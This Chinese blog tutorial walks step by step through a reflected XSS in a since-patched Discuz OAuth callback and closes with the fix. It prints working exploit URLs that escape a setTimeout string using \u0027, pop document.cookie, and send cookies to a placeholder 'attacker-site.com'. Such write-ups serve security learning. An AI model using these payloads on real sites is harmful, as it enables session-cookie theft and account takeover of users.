XSS学习笔记(四)-漏洞利用全过程

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'; alert(document.cookie);a='';", 3000);</script>


1.在这个例子(现在早已补)中希望大家也要体会到:XSS的上下文比较重要,如何根据上下文,利用未过滤的字符,合理的构造,才是成功的关键(要有足够猥琐的思路)
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802

2.这是测试注册的一个账户,我们去F12看 源码,第一个思路就是看上下文,在上下文中发现原始的上下文,然后闭合和绕过原来的上下文,源码之后,ctrl+f 搜索自己可以控制输入的地方(如账号,个人信息等)

3.看到: 
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 3000);</script>
...   
<a href ="http://www.discuz.net/./aaaaaaaaaaa" >
4.两处的上下文都需要 双引号或者单引号的闭合,可以试试 aaaaaaaaaaa" 作为账户名注册一个 来试试,或者直接字啊URL模拟你和这样的信息,看看有没有报错,经过实验,是不行的,是的,不可能给我们留这麽大的漏洞

5.然后我们回头看看第一个是作为函数参数的,setTimeout(可执行脚本,延时时间)函数,也就是说这个函数会把函数的第一个参数作为脚本执行,那我们试下闭合单引号, 在 URL 中 &referfer=aaaaaaaaaaa'&oauth_signature....

6.但是这里已经被过滤了。变成了window.location.href ='http://www.discuz.net/./aaaaaaaaaaa&#039;';",3000) 这里单引号是行不通的。

7.要相信还是自己的思路不够猥琐,我们看到setTimeout()的第一个参数是字符串,我们前面的教程里说过一次,JS字符串中,字符还可以表示为unicode的形式,即:单引号还可以表示为\u0027或者\x27,呵呵,希望来了吧,还有同意字符的不同编码的闭合方式,lz过滤了\没? 试试便知,

在URL:
&referfer=aaaaaaaaaaa\&oauth_signature....

结果:
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa\';", 3000);</script>
大喜:没有过滤\就是其转义性还可以被客户端使用
下面还是老思路:

把原来引号里面的单引号都变成\u0027或者\x27
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027; alert(document.cookie);a=\u0027\u0027;", 3000);</script>

8.在URL:
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802

执行后,直接弹出cookie, 呵呵,还有啥说的,这里的已经是POC了!!!

9.如果把原来的alert() 换一下,直接指向自已的xss平台就真的Ok了
如 换成 window.location.href='www.attacker-site.com?c='+document.cookie+';'    这样会跳转到另一个页面,造成加载失效

所以要改进:
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>
上面类似于我以前写的文章点击劫持, 修改客户端的href代码,同样替换掉单引号,和加号
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>
在URL:
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802

这样就不会因为跳转而加载失败了

看这些猥琐的例子中,其实最终都是嵌套这反射的思想,然后就是根据上下文绕过的思想,熟能生巧,让我们尽情的Xss去吧

这个修复方案就是过滤\ 就Ok了

关于Json XSS (http://blog.csdn.net/l_f0rm4t3d/article/details/23851071) 请看我写过的这篇

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值